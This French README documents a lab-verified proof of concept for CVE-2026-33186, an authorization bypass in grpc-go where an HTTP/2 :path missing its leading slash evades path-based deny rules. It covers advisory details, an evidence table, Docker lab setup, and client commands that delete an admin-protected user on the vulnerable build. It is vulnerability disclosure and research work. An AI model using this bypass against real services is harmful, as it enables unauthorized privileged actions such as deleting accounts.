CVE-2026-33186 (grpc-go) : contournement d'autorisation via un :path HTTP/2 sans slash -- démonstration b63, vérifiée en laboratoire avec des négatifs corrigés et de configuration
:path dans grpc-goUne méthode gRPC privilégiée et refusée s'exécute pour un appelant non authentifié lorsque le pseudo-en-tête HTTP/2 :path omet sa barre oblique initiale obligatoire.
PoC vérifié en laboratoire, un lab Docker à deux jumeaux (grpc-go v1.79.2 vulnérable / v1.79.3 corrigé), et les transcriptions de preuves pour chaque affirmation ci-dessous.
Le serveur grpc-go supprime la barre oblique initiale de :path uniquement lorsqu'elle est présente, puis découpe sur la dernière /. Un chemin comme admin.v1.Admin/DeleteUser est donc toujours routé vers le bon service et la bonne méthode -- mais l'autorisation basée sur le chemin voit la chaîne brute, non canonique. Une politique qui refuse un chemin canonique et autorise tout le reste par défaut ne correspond jamais à la règle de refus, si bien que l'RPC refusé s'exécute.
Dans ce lab, la méthode refusée est admin.v1.Admin/DeleteUser sur une politique de la forme exacte décrite par l'avis (une règle de refus sur /admin.v1.Admin/DeleteUser plus un repli autorisant tout). L'attaquant supprime le compte administrateur root-admin sans jamais s'authentifier.
| CVE | CVE-2026-33186 |
| GHSA | GHSA-p77j-4mvh-x3m3 (grpc/grpc-go) |
| Classe | CWE-285 autorisation incorrecte ; Red Hat classe également CWE-551 (autorisation avant analyse/canonicalisation) |
| CVSS 3.1 | 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (tel que publié) |
| Affecté | google.golang.org/grpc < 1.79.3 |
| Corrigé | v1.79.3 -- commit 72186f163e, PR #8981 |
Préconditions (les deux requises, selon l'avis) : l'autorisation est basée sur le chemin (grpc/authz, ou un intercepteur personnalisé lisant grpc.Method(ctx) / le FullMethod d'un intercepteur de flux), et la politique refuse des chemins canoniques spécifiques tout en autorisant le reste par défaut.
Une nuance qu'il vaut la peine de préciser car il est facile de se tromper : sur les gestionnaires unaires générés par protoc, UnaryServerInfo.FullMethod est une constante de compilation, donc un intercepteur unaire qui ne lit que ce champ voit le chemin canonique et n'est pas contourné. Les lecteurs vulnérables sont grpc.Method(ctx), le paquet grpc/authz et les intercepteurs de flux. Le lab reproduit la sémantique des stubs générés et journalise les deux valeurs côte à côte (preuves 01, 04).
Tout ce qui suit a été capturé dans ce lab. « Capturé » signifie que la transcription est fournie ; rien ici n'est affirmé à partir de la seule lecture de l'avis. L'ensemble evidence/ a été recapturé à partir d'un clone frais de ce dépôt à son sommet actuel (après que la revue a constaté que le premier ensemble était ancré à l'arbre de rédaction privé), de sorte que chaque ligne Command: est une commande qu'un lecteur peut exécuter depuis la racine du dépôt ; MANIFEST.txt est l'inventaire sha256 de l'arbre de la version.
| affirmation | niveau | preuve |
|---|---|---|
| Deux builds d'une même arborescence source : grpc-go v1.79.2 (vulnérable) et v1.79.3 (corrigé), épinglés par commit de tag, identité intégrée et relue depuis les conteneurs en cours d'exécution | capturé | evidence/01-lab-identity.txt |
Un client grpc-go standard (cc.Invoke avec une chaîne de méthode sans slash) reproduit le contournement : méthode canonique -> PermissionDenied, sans slash -> la suppression de compte refusée | capturé | evidence/02-impact-go-stock-client.txt |
Pilote HTTP/2 brut (poc/exploit_opt.py, une seule connexion TCP) : branche de contrôle refusée, le contournement supprime root-admin, reçu avec nonce correspondant + état post-exécution | capturé | evidence/03-impact-opt-driver.txt |
Idem via le pilote annoté (poc/exploit_readable.py) | capturé | evidence/04-impact-readable-driver.txt |
La version corrigée v1.79.3 refuse avec grpc-status 12 Unimplemented avant les intercepteurs ; grpc-core journalise son propre rejet ; stock inchangé | capturé | evidence/05-negative-patched.txt |
Branche de configuration : le binaire v1.79.3 identique octet pour octet avec GRPC_GO_EXPERIMENTAL_DISABLE_STRICT_PATH_CHECKING=true rétablit le contournement | capturé | evidence/06-config-escape-hatch.txt |
| Matrice à quatre branches, les deux pilotes (vuln / corrigé / config / port fermé) | capturé | evidence/07-matrix-four-legs.txt |
| Fiabilité, jumeau vulnérable : 10/10 succès (opt) et 5/5 (readable), labo neuf à chaque exécution | capturé | evidence/08-reliability-vulnerable.txt |
| Fiabilité, jumeau corrigé : 0/10 et 0/5 -- aucun faux positif | capturé | evidence/09-reliability-patched.txt |
| Contrôle non vacant : sur un binaire vulnérable dont la politique n'a aucune règle de refus, les deux pilotes refusent de revendiquer un succès ; codes de sortie 0/1/2/3 exercés en direct | capturé | evidence/10-control-nonvacuity-exit-codes.txt |
| Une cible mensongère (statut 0 avec un reçu plausible mais non vérifiable) fait sortir les deux pilotes avec le code 1 | capturé | evidence/11-receipt-validation-lying-target.txt |
Non revendiqué : l'exécution de code (gRPC n'offre aucune primitive de shell pour cette classe), les versions autres que les deux épinglées ci-dessus, et la couche d'authentification de tout déploiement réel.
poc/
go_stock_client/ # primary driver: a stock grpc-go client (Go)
exploit_opt.py # raw HTTP/2 driver, compact (python-h2)
exploit_readable.py # raw HTTP/2 driver, staged and annotated (python-h2)
tests/ # fake gRPC target + post-condition test runner
lab/
build.sh # clones grpc-go v1.79.2 / v1.79.3, builds both twins
compose.yml # vulnerable / patched / config-escape-hatch / control
runtime.Dockerfile
server-src/main.go # the twin server (grpc/authz policy + 2 services)
server-assets/ # policies, seed roster, entrypoint
harness/
matrix.sh # four-leg matrix
reliability.sh # N-run loop, fresh lab per run
verify-exitcodes.sh # control non-vacuity + exit-code table
evidence/ # captured transcripts (path-scrubbed, see below)
Chaque commande ci-dessous cible des conteneurs 127.0.0.1 construits à partir de ce dépôt. Ne pointez rien de tout cela vers un système que vous ne possédez pas ou pour lequel vous ne disposez pas d'une autorisation écrite de test.
python3 -m venv .venv && .venv/bin/pip install h2 # for the python drivers
cd lab && ./build.sh # clones the two grpc-go tags
docker compose build
docker compose up -d --force-recreate
Quatre services en boucle locale uniquement :
| port | rôle | build |
|---|---|---|
| 19130 | vulnérable | grpc-go v1.79.2 |
| 19131 | corrigé | grpc-go v1.79.3 |
| 19132 | échappatoire de configuration | v1.79.3 + GRPC_GO_EXPERIMENTAL_DISABLE_STRICT_PATH_CHECKING=true |
| 19133 | contrôle | v1.79.2 avec une politique tout-autorisé (aucune règle de refus) |
Aucune trame brute, aucune bibliothèque HTTP/2 -- un grpc.NewClient + cc.Invoke normal, avec
la chaîne de méthode dépourvue de sa barre oblique initiale :
(cd poc/go_stock_client && go build -o stockclient .)
# canonical method -> the deny rule fires
poc/go_stock_client/stockclient 127.0.0.1:19130 /admin.v1.Admin/DeleteUser b11-victim-1
# INVOKE_ERROR: rpc error: code = PermissionDenied desc = unauthorized RPC request rejected
# slash-less method -> the denied RPC executes
poc/go_stock_client/stockclient 127.0.0.1:19130 admin.v1.Admin/DeleteUser b11-victim-2
# INVOKE_OK: {"by_method":"admin.v1.Admin/DeleteUser","deleted_user":"b11-victim-2",...}